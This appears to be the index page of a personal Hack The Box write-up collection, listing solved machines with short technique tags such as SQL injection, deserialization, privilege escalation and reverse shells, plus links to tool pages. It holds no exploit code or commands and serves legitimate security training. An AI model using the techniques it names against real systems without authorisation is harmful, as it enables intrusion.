* | cPickle, couchDB, pip + * | xdebug 2.5.5, airgeddon, knock, docker + * | Wordpress, gwolle-gb, tar + * | XXE, github repository enumeration + * | aes-256-cbc, ssh tunnel, H2 database + * | Evasive LFI, Container, cap_dac_read_search + * | XSRF, SQLi, nc.exe, smb, IIS, + * | SQLi, xp_dirtree, Ubiquiti UniFi-Video + * | FreeBSD, ldap, smb, putty, ssh certificates + * | Lyghtspeed, Quagga v0.99, BGP routes MITM + * | SOCKS5 Port Forwarding, double pivoting, gpg + * | SQLi, PHPSESSID, cmd injection, psql, sudo gid + * | LDAP, getcap, tcpdump, binary capabilities + * | WebMin, roundcube, ajax.php, LaTeX, firefox + * | smb, excel macros, mssql, xp_dirtree, winRM + * | smb, LUKS, javax.ViewState, powershell privesc + * | 2nd order blind SQL injection, luks initrd.img + * | Boostrap4, JWT, Ajenti, FreeBSD amd64 + * | SQL Injection, python privesc, systemctl SUID + * | Gogs, REST api, docker, mysql sqlAlchemy + * | Gitlab, hardcoded creds in js, sudo git pull + * | Centreon, uncompyle, linpeas, GNU Screen 4.5.0 + * | Json.Net deserialization, WS2012 R2 Datacenter + * | Speech recognition SQL injection, jdwp + * | RFI, MS Compiled HTML Help + * | MongoDB NoSQL injection, jjs + * | Python exec(), file decryption, background processes + * | Azure AD Connect exploit PoC + * | SQL Truncation attack, logrotten + * | ldap, VNC hardcoded key, AD Recycle Bin group + * | Magic bytes, mysqldump, PATH priority binary exec + * | OpenEMR, SQL Injection, memcached, docker mount + * | PaperCut Print Logger, SeLoadDriverPrivilege + * | Phishing via SMTP (yes), pypi, pip3 + * | /usr/libexec/ld.so, OpenBSD, xlock + * | svnserve, Azure Devops Git repository + * | CuteNews, USBCreator DBus + * | rails 5.2.2.1, sudo 2FA (oath), gem + * | LocalStack (AWS), pd4ml + * | Jackson json parser deserialization, SQL SHELLEXEC + * | Gitlab CE 11.4.7, Docker Container escape + * | PHP deserialization, Race Condition bash exploit + * | YAML Java deserialization, wasm wat + + + +![](../assets/img/user.png) nihilist + +##### Hack The Box - Hard Boxes + +[Template Page](Hard/0.html) + + 1. [ ✅ - Joker](Hard/1.html) + 2. [ ✅ - Calamity ](Hard/2.html) + 3. [ ✅ - Charon](Hard/3.html) + 4. [ ✅ - Shrek](Hard/4.html) + 5. [ ✅ - Mantis](Hard/5.html) + 6. [ ✅ - Kotarak](Hard/7.html) + 7. [ ✅ - Tally](Hard/6.html) + 8. [ ✅ - CrimeStoppers](Hard/8.html) + 9. [ ✅ - Falafel](Hard/9.html) + 10. [ ✅ - Dropzone](Hard/10.html) + + + + * | Sudoedit Wildcards, Symlinks + * | PHP Injection, wav file, alpine privesc + * | SQL Injection, SuperCMS, SUID 4000 + * | mp3 Spectogram, ECC Crypto, chown wildcard + * | IIS7, Orchard, DBeaver, MSSQL Server, psexec + * | Apache Tomcat, NTDS, disk group, lxc + * | hashcat on kdbx, smb mounting, xp_cmdshell + * | PHP base64 LFI, PHP zip RCE, apache logs, modrootme + * | linux char limit, video+disks group, linpeas + * | manual psexec, MOF, nc.exe, ADS, streams.exe + + + +![](../assets/img/user.png) nihilist + +##### Recurrent Tricks + +[ Template Page ](Easy/0.html) + + 1. [✅ - File transfers ](Tools/files/index.md) + 2. [✅ - reverse shells with XC ](Tools/xc/index.md) + 3. [✅ - SSH Tunnels](Tools/sshtunnels/index.md) + 4. [ ✅ - Intercepting HTTP and HTTPS requests with Burpsuite](Tools/burp/index.md) + + + +![](../assets/img/user.png) nihilist + +##### The Concept + +###### The Goal is to capture both the User and the Root flags by gaining unauthorized access to the machines on HTB's private network, in order to get the flags, one has to employ various sets of pentesting skills, from finding out common vulnerabilities in the easier boxes, to crafting custom-exploitation for the harder boxes. + +![](concept.png) + +# [Binary Exploitation](binexp.html) + +![](0.png) + +gdb, gef, ghidra, pwntools, assembly, C, 32-64bit binaries, reverse engineering, CTF challenges +